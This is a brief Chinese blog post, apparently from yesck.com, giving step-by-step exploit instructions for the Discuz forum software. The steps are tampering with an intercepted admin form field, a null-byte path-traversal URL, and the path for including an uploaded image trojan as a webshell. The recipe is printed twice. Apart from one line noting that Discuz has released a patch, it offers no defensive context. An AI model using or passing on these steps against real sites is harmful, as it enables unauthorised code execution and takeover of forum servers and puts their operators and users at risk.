用户 - 用户栏目 - 栏目分组 抓包
Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"
改为
Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"
访问
/home.php?mod=spacecp&id=../../robots.txt%0057
上传-jpg木马地址：
/home.php?mod=spacecp&id=../../data/attachment/forum/201305/24/xxx1.gif%00
discuz 官方已发更新补丁！
Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"
改为
Content-Disposition: form-data; name="settingnew[profilegroupnew][plugin][available]"
访问
/home.php?mod=spacecp&id=../../robots.txt%0057
上传-jpg木马地址：
/home.php?mod=spacecp&id=../../data/attachment/forum/201305/24/xxx1.gif%00
discuz 官方已发更新补丁！
本文由站长原创或收集，不代表本站立场，如若转载，请注明出处：http://yesck.com/post/529/
YesCK 
本文 暂无 评论